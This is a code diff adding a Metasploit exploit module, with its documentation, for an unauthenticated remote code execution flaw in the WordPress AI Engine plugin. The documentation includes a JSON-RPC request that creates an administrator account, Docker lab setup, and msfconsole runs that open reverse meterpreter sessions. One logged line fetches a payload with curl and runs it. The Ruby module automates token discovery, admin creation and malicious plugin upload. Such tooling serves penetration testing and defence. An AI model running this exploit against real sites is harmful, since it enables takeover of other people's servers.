diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index cb20aad6a4e78..9678d56c45cc7 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -1,3 +1,4 @@ +ai-engine ajax-load-more all-in-one-wp-migration backup diff --git a/documentation/modules/exploit/multi/http/wp_ai_engine_mcp_rce.md b/documentation/modules/exploit/multi/http/wp_ai_engine_mcp_rce.md new file mode 100644 index 0000000000000..15b29efdfa1c8 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_ai_engine_mcp_rce.md @@ -0,0 +1,198 @@ +## Vulnerable Application + +This Metasploit module exploits an unauthenticated remote code execution vulnerability in the WordPress AI Engine plugin +(versions <= 3.1.3) (CVE-2025-11749). The vulnerability allows unauthenticated attackers to create administrator accounts +and achieve remote code execution by exploiting the MCP (Model Context Protocol) functionality when `mcp_noauth_url` is enabled. + +## Vulnerability Analysis + +The plugin registers REST API routes under `/wp-json/mcp/v1/{token}/sse` where `{token}` is a bearer token. When `mcp_noauth_url` +is enabled, these endpoints accept requests without verifying the `Authorization` header, allowing unauthenticated access +to WordPress core functions. + +The attacker can enumerate the token by querying `/wp-json/mcp/v1/` or `/?rest_route=/mcp/v1/` (both methods work). +The token is exposed in route paths like `/mcp/v1/{TOKEN}/sse`. Once discovered, JSON-RPC requests can be sent to call +`wp_create_user` via either endpoint: + +```http +POST /wp-json/mcp/v1/{TOKEN}/sse HTTP/1.1 +Content-Type: application/json + +{ + "jsonrpc": "2.0", + "method": "tools/call", + "params": { + "name": "wp_create_user", + "arguments": { + "user_login": "attacker", + "role": "administrator" + } + } +} +``` + +The same request works via both endpoints: +- `/wp-json/mcp/v1/{TOKEN}/sse` (preferred) +- `/?rest_route=/mcp/v1/{TOKEN}/sse` (fallback when permalinks are not configured) + +Once an administrator account is created, the attacker uploads a malicious plugin for code execution. + +**Affected versions**: <= 3.1.3 (Fixed in 3.1.4) +**Prerequisites**: `module_mcp`, `mcp_core`, and `mcp_noauth_url` must be enabled + +## Docker Compose Configuration + +```yaml +services: + wordpress: + image: wordpress:6.3.2 + container_name: wp-ai-engine-lab + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: mysql + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + depends_on: + - mysql + + mysql: + image: mysql:5.7 + container_name: wp-ai-engine-db + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create `custom.ini`: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Setup Instructions + +```bash +docker compose up -d +sleep 5 +docker exec wp-ai-engine-lab bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp" +docker exec wp-ai-engine-lab wp core install --path='/var/www/html' --url='http://localhost:5555' --title='Exploit Market' --admin_user='admin' --admin_password='admin' --admin_email='admin@example.com' --allow-root +docker exec wp-ai-engine-lab wp rewrite structure '/%postname%/' --path='/var/www/html' --allow-root +docker exec wp-ai-engine-lab wp rewrite flush --path='/var/www/html' --allow-root +docker exec wp-ai-engine-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root +docker exec wp-ai-engine-lab chown -R www-data:www-data /var/www/html/wp-content +docker exec -u www-data wp-ai-engine-lab wp plugin install ai-engine --version=3.1.3 --path='/var/www/html' --activate --force +BEARER_TOKEN=$(openssl rand -base64 32 | tr -d "=+/" | cut -c1-43) +docker exec -u www-data wp-ai-engine-lab wp option update mwai_options --format=json --path='/var/www/html' "{\"module_mcp\":true,\"mcp_core\":true,\"mcp_bearer_token\":\"${BEARER_TOKEN}\",\"mcp_noauth_url\":true}" +echo "Bearer Token: ${BEARER_TOKEN}" +``` + +## Verification Steps + +1. Start the environment and complete setup +2. Launch `msfconsole` and load the module: `use exploit/multi/http/wp_ai_engine_mcp_rce` +3. Set `RHOSTS` to target IP (use Docker gateway IP for `LHOST`) +4. Run the exploit: `run` + +## Options + +* **TARGETURI**: The base path to WordPress (default: `/`) +* **TARGET**: Target type - `0` for PHP payload, `1` for Unix command payload (default: `0`) + +## Scenarios + +### PHP Payload + +```bash +use exploit/multi/http/wp_ai_engine_mcp_rce +set RHOSTS 127.0.0.1 +set RPORT 5555 +set TARGET 0 +set PAYLOAD php/meterpreter/reverse_tcp +set LHOST 172.25.0.1 +set LPORT 4444 +run +``` + +**Expected Results:** + +```plaintext +[*] Started reverse TCP handler on 172.25.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/ai-engine/readme.txt +[*] Found version 3.1.3 in the plugin +[+] The target appears to be vulnerable. +[*] Acquired a plugin upload nonce: 3495f17050 +[*] Uploaded plugin wp_knzvu +[*] Sending stage (41224 bytes) to 172.25.0.3 +[+] Deleted ajax_rmteg.php +[+] Deleted wp_knzvu.php +[+] Deleted ../wp_knzvu +[*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:47914) at 2025-11-23 03:51:28 +0100 + +meterpreter > sysinfo +Computer : e1450d69c5ef +OS : Linux e1450d69c5ef 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64 +Architecture : x64 +System Language : C +Meterpreter : php/linux +``` + +### Linux Meterpreter Payload + +```bash +use exploit/multi/http/wp_ai_engine_mcp_rce +set RHOSTS 127.0.0.1 +set RPORT 5555 +set TARGET 1 +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +set LHOST 172.25.0.1 +set LPORT 4445 +run +``` + +**Expected Results:** + +```plaintext +[*] Command to run on remote host: curl -so ./CwnRPcETYowu http://172.25.0.1:8080/YlsHR8ggI6Bd69-fK5zqBQ;chmod +x ./CwnRPcETYowu;./CwnRPcETYowu& +[*] Fetch handler listening on 172.25.0.1:8080 +[*] HTTP server started +[*] Adding resource /YlsHR8ggI6Bd69-fK5zqBQ +[*] Started reverse TCP handler on 172.25.0.1:4445 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/ai-engine/readme.txt +[*] Found version 3.1.3 in the plugin +[+] The target appears to be vulnerable. +[*] Acquired a plugin upload nonce: 89faa6adb3 +[*] Uploaded plugin wp_w6mpy +[*] Client 172.25.0.3 requested /YlsHR8ggI6Bd69-fK5zqBQ +[*] Sending payload to 172.25.0.3 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 172.25.0.3 +[+] Deleted ajax_plv9z.php +[+] Deleted wp_w6mpy.php +[+] Deleted ../wp_w6mpy +[*] Meterpreter session 2 opened (172.25.0.1:4445 -> 172.25.0.3:59294) at 2025-11-23 03:53:03 +0100 + +meterpreter > sysinfo +Computer : 172.25.0.3 +OS : Debian 11.8 (Linux 6.14.0-115036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/wp_ai_engine_mcp_rce.rb b/modules/exploits/multi/http/wp_ai_engine_mcp_rce.rb new file mode 100644 index 0000000000000..9cf3c9100b1eb --- /dev/null +++ b/modules/exploits/multi/http/wp_ai_engine_mcp_rce.rb @@ -0,0 +1,292 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + prepend Msf::Exploit::Remote::AutoCheck + + ERROR_PATTERN = /already exists|username.*taken|user.*exists/i + SUCCESS_PATTERN = /User (?:created|updated|#\d+ updated)|success|created/i + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE', + 'Description' => %q{ + This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin + (versions <= 3.1.3). The vulnerability allows an attacker to create an administrator account + via the MCP (Model Context Protocol) endpoint without authentication. The module supports + both `/wp-json/mcp/v1/` and `/?rest_route=/mcp/v1/` endpoints. Once an administrator + account is created, the module uploads and executes a malicious plugin to achieve remote + code execution (RCE). + }, + 'Author' => [ + 'Emiliano Versini', # Vulnerability discovery + 'Khaled Alenazi (Nxploited)', # PoC + 'Valentin Lobstein ', # Metasploit module + 'dledda-r7' # Reviewer + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-11749'], + ['URL', 'https://github.com/Nxploited/CVE-2025-11749'] + ], + 'Platform' => %w[php unix linux win], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'DisclosureDate' => '2025-11-04', + 'DefaultTarget' => 0, + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]), + OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]), + OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email]) + ] + ) + end + + def check + return CheckCode::Unknown unless wordpress_and_online? + + plugin_check = check_plugin_version_from_readme('ai-engine', '3.1.4') + return plugin_check if plugin_check == CheckCode::Safe + + @token = find_token + return CheckCode::Safe('MCP token not found. Plugin may be patched or not configured.') unless @token + + CheckCode::Appears + end + + def exploit + fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? + + @token ||= find_token + fail_with(Failure::NotVulnerable, 'MCP token not found. Plugin may be patched or not configured.') unless @token + + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + email = datastore['EMAIL'] + + result = create_admin_user(@token, username, password, email) + fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') if result == false + + if result == :user_exists + print_warning('User already exists, updating password and continuing exploitation...') + update_user_password(@token, username, password) + end + + admin_cookie = wordpress_login(username, password) + unless admin_cookie + error_msg = 'Failed to log in to WordPress admin.' + error_msg += ' User may exist with a different password.' if result == :user_exists + fail_with(Failure::UnexpectedReply, error_msg) + end + + upload_and_execute_payload(admin_cookie) + end + + # REST API helpers + def send_rest_request(rest_path, method: 'GET', data: nil) + opts = { + 'method' => method, + 'ctype' => method == 'POST' ? 'application/json' : nil, + 'data' => data + } + + uri = normalize_uri(target_uri.path, 'wp-json', rest_path) + res = send_request_cgi(opts.merge('uri' => uri)) + return res if res&.code == 200 + + vars_get = { 'rest_route' => rest_path } + send_request_cgi(opts.merge('uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get)) + end + + def find_token + extract_token_from_routes(send_rest_request('/')) + end + + def extract_token_from_routes(res) + return nil unless res&.code == 200 + + routes = res.get_json_document&.dig('routes') + return nil unless routes.is_a?(Hash) + + mcp_regex = %r{^/mcp/v1/([^/]+)/sse$} + routes.each_key do |route| + next unless route.is_a?(String) + + match = route.match(mcp_regex) + next unless match + + token = match[1] + next if token == 'sse' || token.empty? + + return token + end + nil + end + + # MCP API helpers + def send_mcp_request(token, segments, method: 'GET', data: nil) + path = "/mcp/v1/#{token}/#{segments.join('/')}" + send_rest_request(path, method: method, data: data) + end + + def build_mcp_payload(tool_name, arguments) + { + 'jsonrpc' => '2.0', + 'id' => rand(1..999_999), + 'method' => 'tools/call', + 'params' => { + 'name' => tool_name, + 'arguments' => arguments + } + }.to_json + end + + def send_mcp_tool_call_raw(token, tool_name, arguments) + payload = build_mcp_payload(tool_name, arguments) + res = send_mcp_request(token, ['sse'], method: 'POST', data: payload) + return nil unless res + return nil unless res.code == 200 + + json_response = res.get_json_document + return nil unless json_response.is_a?(Hash) + + json_response.dig('result', 'content') + end + + def send_mcp_tool_call(token, tool_name, arguments) + payload = build_mcp_payload(tool_name, arguments) + res = send_mcp_request(token, ['sse'], method: 'POST', data: payload) + return false unless res + return true if res.code == 204 + return false unless res.code == 200 + + json_response = res.get_json_document + return false unless json_response.is_a?(Hash) + + error = json_response['error'] + return :user_exists if error.is_a?(Hash) && error['code'] == 'existing_user_login' + return :user_exists if error.is_a?(Hash) && error['message']&.match?(ERROR_PATTERN) + + result_content = json_response.dig('result', 'content') + return true if result_content&.any? { |item| item['text']&.match?(SUCCESS_PATTERN) } + + body = res.body.to_s + return :user_exists if body =~ ERROR_PATTERN + return true if body =~ SUCCESS_PATTERN + + false + end + + # User management + def get_user_id(token, username) + arguments = { + 'search' => username, + 'search_columns' => ['user_login'] + } + + result_content = send_mcp_tool_call_raw(token, 'wp_get_users', arguments) + return nil unless result_content.is_a?(Array) + + result_content.each do |item| + next unless item.is_a?(Hash) && item['text'] + + text = item['text'].to_s + begin + users = JSON.parse(text) + users = [users] unless users.is_a?(Array) + user = users.find { |u| u['user_login'] == username } + return user['ID'].to_i if user && user['ID'] + rescue JSON::ParserError + next + end + end + + nil + end + + def create_admin_user(token, username, password, email) + arguments = { + 'user_login' => username, + 'user_email' => email, + 'user_pass' => password, + 'role' => 'administrator' + } + send_mcp_tool_call(token, 'wp_create_user', arguments) + end + + def update_user_password(token, username, password) + user_id = get_user_id(token, username) + return false unless user_id + + arguments = { + 'ID' => user_id, + 'fields' => { + 'user_pass' => password + } + } + result = send_mcp_tool_call(token, 'wp_update_user', arguments) + print_warning('Password update may have failed, attempting login anyway...') unless result + result + end + + # Payload execution + def upload_and_execute_payload(admin_cookie) + plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}" + + zip = generate_plugin(plugin_name, payload_name) + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) + + register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php") + register_dir_for_cleanup("../#{plugin_name}") + payload_file = "#{payload_name}.php" + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file) + send_request_cgi('uri' => payload_uri, 'method' => 'GET') + end +end